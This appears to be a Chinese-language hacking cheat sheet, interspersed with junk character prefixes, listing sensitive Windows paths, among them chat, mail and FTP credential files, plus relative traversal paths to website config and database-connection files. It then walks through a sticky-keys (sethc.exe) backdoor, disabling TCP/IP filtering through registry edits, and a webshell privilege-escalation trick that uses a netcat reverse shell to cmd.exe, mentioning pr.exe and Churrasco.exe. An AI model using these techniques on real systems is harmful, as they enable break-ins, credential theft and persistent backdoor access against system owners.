  c- K* E5 A: V5 i" _c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
# S1 W: i; \" N9 Jc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
0 T) o$ Z) K/ K$ T& I3 h/usr/tomcat6/bin/startup.sh
, H& n- ^/ K$ M9 G3 Fc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
7 W/ W5 t9 ~5 Yc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
2 T9 Q# P3 {# F' Hc:\Program Files\Tencent\qq\Users\All Users\Registry.db
0 s5 e* Y2 q& c/ ^+ z5 i$ M, UC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
) [' Q3 E+ C) U5 @7 H  `C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
( z! R: {/ p" Q) F% g: p7 |C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
9 k! A4 f* _6 y" EC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
6 @7 H8 D+ z9 H& e7 g" k& e& C" ?C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
" J  ~) t" M6 i1 \( {4 `c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

8 [$ k6 u' E9 ?0 p/config.php
../../config.php
../config.php
* d8 R* T& O# B/ u8 s' i; J" G  j2 k../../../config.php
) e  E: V0 i1 V) m1 _: i! V+ w* ?/config.inc.php
+ z$ c& E  c" X7 D./config.inc.php
4 d9 F9 E, d: m& X6 S../../config.inc.php
../config.inc.php
5 \) v# N' j; P" |1 \+ M* m) m../../../config.inc.php
; \! ^  j8 @- n2 f/conn.php
9 x0 K8 A* ~# Z! @./conn.php
" m# `5 P1 w. T9 e# y../../conn.php
+ k, U+ M- G& E: P$ \* y../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
+ |  r/ S# o& s# o% H7 C7 P/ |../../config.inc.php
2 b4 `1 H7 g$ \8 c: Y# @../config.inc.php
../../../config.inc.php
- ~! K; t/ Y2 C% m- ]# x1 b$ I/config/config.php
../../config/config.php
../config/config.php
9 A: B1 s0 W' e* ]9 }" w# u$ P../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
! L2 p* i4 C* K+ J& M; f../../../config/config.inc.php
/config/conn.php
/ Z, \: S! l$ x0 R. n2 U0 \./config/conn.php
) i' h, X: G& G../../config/conn.php
; I1 R- w. j1 t  j2 A../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
% A& ~' {8 F# @% b2 D; S, \" \../../../config/conn.asp
* d# x0 V, V2 @7 Q* Z/config/config.inc.php
; V9 ]9 d& `( D' i./config/config.inc.php
) g: y* G' v5 m9 c2 A../../config/config.inc.php
../config/config.inc.php
4 E( C2 {( G: T  B4 u) C2 a../../../config/config.inc.php
( p5 _6 j8 J$ O/data/config.php
. x& g5 B1 ]) U6 W../../data/config.php
1 t3 `0 _: {' R0 ]( G9 V1 a2 f- v4 Z/ A../data/config.php
../../../data/config.php
/data/config.inc.php
( S4 Y' ^( s2 J, H% V7 d- b7 g./data/config.inc.php
7 B/ X  P' j% ^6 d, ]6 I../../data/config.inc.php
) U' }- K8 L' q; B9 \1 D../data/config.inc.php
../../../data/config.inc.php
7 L. o0 m5 i7 h" v8 I5 r% j& l1 q/data/conn.php
/ t1 B; z* y& l: R./data/conn.php
5 r# a  D1 C2 o/ t../../data/conn.php
0 o; l) ?) x6 e../data/conn.php
% o' K, `2 l3 H+ N../../../data/conn.php
$ R/ K0 A. x  U& m/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
) \4 g; F, Q4 s2 A% L% S7 Z! a( M; C./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
+ I, K# `; L8 g../../include/config.php
/ L: M9 P: z: V* |9 U& x2 [../include/config.php
- g  D& P; H% q( x" R../../../include/config.php
. f- u, P: X1 O- z/include/config.inc.php
./include/config.inc.php
, O* D7 Q8 X, \3 D../../include/config.inc.php
# \2 u0 F! C% X; }8 i../include/config.inc.php
: o, @  A7 e/ k  c% L& S8 J../../../include/config.inc.php
/include/conn.php
4 T. W, ?1 B1 N, E8 }6 R./include/conn.php
; ~4 n9 @3 t& l% q; Z9 `../../include/conn.php
8 q6 s/ b; r  ]" a+ M../include/conn.php
../../../include/conn.php
1 j' q) l3 _# q8 {$ j, i. r/include/conn.asp
./include/conn.asp
' W+ z# |4 p3 s( H) w9 a../../include/conn.asp
: H) K! L& Z- {2 s+ p4 p../include/conn.asp
../../../include/conn.asp
( R7 f/ r, F. k/ g3 y/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
) ^/ v+ i- B; g; W$ ~1 A+ \* Q; g../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
% u, d( J4 }/ C" n* s6 i: g./inc/config.inc.php
( j' v% E9 K( }1 u../../inc/config.inc.php
( \2 x6 \! K/ x" A" x) a: E../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
- ]/ @  r; M$ u% Z./inc/conn.php
- Q4 i# b5 |6 @) p../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
. O/ G) ^3 o2 Y3 s0 Q../inc/conn.asp
0 C, m" i9 w' g$ f; |../../../inc/conn.asp
/inc/config.inc.php
, m' p2 E3 z3 @- ^  }( n6 D8 L./inc/config.inc.php
, Z% M5 D: r2 ~! y( C8 ]' \../../inc/config.inc.php
../inc/config.inc.php
7 m  Q! Z9 N1 c  Z/ c3 B../../../inc/config.inc.php
8 I. X; L) K8 b+ w5 N/index.php
./index.php
0 G. n( A6 V3 s( A1 q0 T" ]. {( B../../index.php
../index.php
; t& e2 {( e& U: o% d../../../index.php
: A  ~+ l3 h! ?! }: p4 L, Y/index.asp
" s) N9 \9 n  ^3 O./index.asp
7 k4 S" ]" B. }" H  O+ \../../index.asp
" R9 ?( E2 }" x3 l& M; }../index.asp
../../../index.asp
1 P! e; \7 A. `- d2 G" c替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
0 y; q/ b$ u" K9 g/ f) t& I# u% o
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

6 H" w- W. L" f$ q- o6 u　　del c:\windows\system32\sethc.exe
' H! s8 m7 X. g& Q
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
' D9 y7 R7 T! J& V9 x
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
) o- K$ P! O9 B7 o% hTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
. d/ ]3 z! p  N8 Z: v2 K' J& ^7 ]HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& H/ c: j' E. S# [; N' F  ]命令来导出注册表项
; s# N8 K) h3 C( _' {* t$ T! N. p- \6 L
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

- ^: ~, O' e+ P7 N; e+ Y再将以上三个文件分别用
4 E9 C, @) j1 a+ l) R) Y+ x4 D7 cregedit -s D:\a.reg
/ {; N4 I! Z3 pregedit -s D:\b.reg
. D2 }( g. P2 e" F) H3 r$ jregedit -s D:\c.reg
导入注册表即可
, y7 c2 {. [3 T% \+ ~* k
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( G* l) d- W3 ]4 B& Z8 A0 ]通常都不会成功。
+ d. m. `3 J7 o2 j- d6 s& z! \
2 {+ f& i7 J6 M9 _2 t- }# j% f5 l而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
$ J; f7 O* c7 S! I% q+ q& H命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
. _& R( j, @5 ?% y! k  q这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功